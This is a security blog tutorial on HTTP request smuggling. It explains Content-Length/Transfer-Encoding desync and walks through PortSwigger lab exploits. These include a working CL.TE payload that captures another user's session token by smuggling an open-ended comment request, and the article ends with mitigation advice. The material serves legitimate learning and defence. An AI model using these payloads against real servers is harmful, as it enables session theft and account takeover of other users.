Understanding Request Smuggling: A Deep Dive into HTTP Exploits

Geni_Wazir
7 min readSep 27, 2024

I’ve often noticed that security researchers focus on critical vulnerabilities like SQL Injection, XSS, Broken Access Control (BAC), and IDOR in web applications but sometimes overlook simpler, yet equally impactful, vulnerabilities — one of which is request smuggling. In this article, we’ll take a deep dive into HTTP requests, explore how this attack works, and learn how to execute and exploit it effectively.

What is HTTP request smuggling?

HTTP request smuggling is a method attackers use to interfere with how a website handles multiple HTTP requests. These vulnerabilities can be very serious, allowing hackers to bypass security, access sensitive information, and directly target other users of the application.

Request smuggling is mainly linked to HTTP/1 requests. However, websites that also support HTTP/2 could be vulnerable, depending on their back-end setup.

Understanding HTTP requests

Modern web applications often use a series of HTTP servers between the user and the server. Users send requests to a front-end server (often a load balancer or reverse proxy), which then forwards them to one or more back-end servers. This architecture is becoming increasingly common, and in some cloud-based applications, it’s essential.

When the front-end server forwards HTTP requests to a back-end server, it usually sends multiple requests over the same network connection to improve efficiency and performance. The process is straightforward: HTTP requests are sent sequentially, and the receiving server must identify where one request ends and the next begins.

In this context, it’s essential for the front-end and back-end systems to agree on where each request begins and ends. If they don’t, an attacker could send a confusing request that is interpreted differently by the front-end and back-end systems.

In this case, the attacker tricks the back-end server into seeing part of their front-end request as the start of a new request. This means it gets added to the next request and can mess up how the application handles it. This is called a request smuggling attack, and it can have serious consequences.

HTTP request smuggling exists because HTTP specification provides 2 types of Headers to specify where the request ends

  1. Content-Length: It specifies the length of the message body in bytes.
  2. Transfer-Encoding: It specifies the message body uses chunked encoding, which means the message body contains one or more chunks of data.

A single message can use both methods simultaneously, leading to conflicts. The specification aims to address this issue by stating that if both the Content-Length and Transfer-Encoding headers are present, the Content-Length header should be disregarded. While this may be enough to prevent confusion when only one server is involved, it doesn’t hold up when multiple servers are connected. In this case, two main issues can arise:

  • Some servers do not support the Transfer-Encoding header in requests.
  • Some servers that do support the Transfer-Encoding header can be induced not to process it if the header is obfuscated in some way.

If the front-end and back-end servers handle the (possibly obfuscated) Transfer-Encoding header differently, they may disagree on where one request ends and the next begins. This mismatch can create request smuggling vulnerabilities.

Websites that implement HTTP/2 end-to-end are inherently protected against request smuggling attacks. The HTTP/2 specification provides a single, clear method for defining the length of a request, eliminating any possibility for an attacker to create the necessary ambiguity.

However, many websites utilize an HTTP/2 front-end server while connecting it to back-end infrastructure that only supports HTTP/1. As a result, the front-end must convert the requests it receives into HTTP/1 format. This process is referred to as HTTP downgrading.

HTTP request smuggling attack simulation

Classic request smuggling attacks include both the Content-Length and Transfer-Encoding headers in a single HTTP/1 request and altering them so that the front-end and back-end servers interpret the request differently. The specific method for achieving this varies based on how each server operates:

  • CL.TE: the front-end server uses the Content-Length header and the back-end server uses the Transfer-Encoding header.
  • TE.CL: the front-end server uses the Transfer-Encoding header and the back-end server uses the Content-Length header.
  • TE.TE: the front-end and back-end servers both support the Transfer-Encoding header, but one of the servers can be induced not to process it by obfuscating the header in some way.

These techniques are only possible using HTTP/1 requests. Browsers and other clients, including Burp, use HTTP/2 by default to communicate with servers that explicitly advertise support for it during the TLS handshake.

As a result, when testing sites with HTTP/2 support, you need to manually switch protocols in Burp Repeater. You can do this from the Request attributes section of the Inspector panel.

[IMPORTANT] Make a small change to your Burp to allow sending requests over HTTP/1 also in the repeater disable the Update Content-Length option.

Portswigger lab: HTTP request smuggling, confirming a CL.TE vulnerability via differential responses

POST / HTTP/1.1
Host: 0a94008f045ddb6e80a8da8b00d000ff.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
X-Ignore: X

So, we changed the request method from GET to POST and included both the Content-Length and Transfer-Encoding headers. Additionally, we inserted the beginning of the next request as the body of the current request, sent it to the server, and received a 200 OK response. When we tried sending the same request again, we received a 404 Not Found error.

Let’s break down what happened on the server side. When the request reached the server, it processed the headers. Since both the Content-Length and Transfer-Encoding headers were present, the server became confused. The Content-Length header indicated a body length of 35 (the GET request we added), while the Transfer-Encoding header said “chunked 0,” meaning the request had no body. As a result, the server treated the additional GET request to the /404 endpoint as a separate, new request. When the user sent the same request again, it was appended to the /404 request, resulting in the 404 Not Found error.

Understanding the Impact of HTTP Request Smuggling

The request below is used to post a comment on the blog.

POST /post/comment HTTP/1.1
Host: 0a7d009504d30646831a143f00a6008f.web-security-academy.net
Cookie: session=WuTAZN5g6pjb80ODAJVXcAbcxtJ3dQ33
Content-Length: 103
Cache-Control: max-age=0
Sec-Ch-Ua: "Google Chrome";v="129", "Not=A?Brand";v="8", "Chromium";v="129"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Origin: https://0a7d009504d30646831a143f00a6008f.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a7d009504d30646831a143f00a6008f.web-security-academy.net/post?postId=6
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Priority: u=0, i
Connection: keep-alive

csrf=pGxGC42g84PaMiWDKMJoIb5KPPWdXdaq&postId=6&name=test_name&email=test%40test.com&website=&comment=test+comment

Since we know the web server is vulnerable to HTTP request smuggling, we need to craft a request to exploit this weakness.

POST / HTTP/1.1
Host: 0a7d009504d30646831a143f00a6008f.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 271
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 950
Cookie: session=WuTAZN5g6pjb80ODAJVXcAbcxtJ3dQ33

csrf=pGxGC42g84PaMiWDKMJoIb5KPPWdXdaq&postId=6&name=test_name&email=test%40test.com&website=&comment=test+comment

The request above is what I used to successfully obtain another user’s session token.

The payload request initially requests to the root endpoint, with the Transfer-Encoding header set to 0, indicating the end of the request. This leaves the POST request in the body, which is directed to /post/comment and contains our session token for authorization. It also includes all the necessary data, with the final field being the comment, and the request is left incomplete. The server processes this as a separate request, but since the Content-Length is set to 950 (adjustable based on the scenario), it waits for more data. When another user makes a request, the remaining content length is filled by appending their request to our previous, open-ended one. As a result, the entire request upto the Content-Length value from that user gets added to the comment section, exposing their session token.

Here, I’ve demonstrated a straightforward method to exploit an HTTP request smuggling vulnerability. However, there are many other ways an attacker can use this vulnerability to cause harm. A few recommended solutions to prevent these attacks are:

  1. Use HTTP/2 end to end and disable HTTP downgrading if possible. HTTP/2 uses a robust mechanism for determining the length of requests and, when used end to end, is inherently protected against request smuggling. If you can’t avoid HTTP downgrading, make sure you validate the rewritten request against the HTTP/1.1 specification. For example, reject requests that contain newlines in the headers, colons in header names, and spaces in the request method.
  2. Make the front-end server normalize ambiguous requests and make the back-end server reject any that are still ambiguous, closing the TCP connection in the process.
  3. Never assume that requests won’t have a body. This is the fundamental cause of both CL.0 and client-side desync vulnerabilities.
  4. Default to discarding the connection if server-level exceptions are triggered when handling requests.
  5. If you route traffic through a forward proxy, ensure that upstream HTTP/2 is enabled if possible.

--

--

Geni_Wazir
Geni_Wazir

Written by Geni_Wazir

OSCP | CEH | OCI Associate | Cybersecurity Enthusiast | Security Researcher | Bug Hunter | Speaker at Walt Design | Always Exploring New Frontiers in Security

No responses yet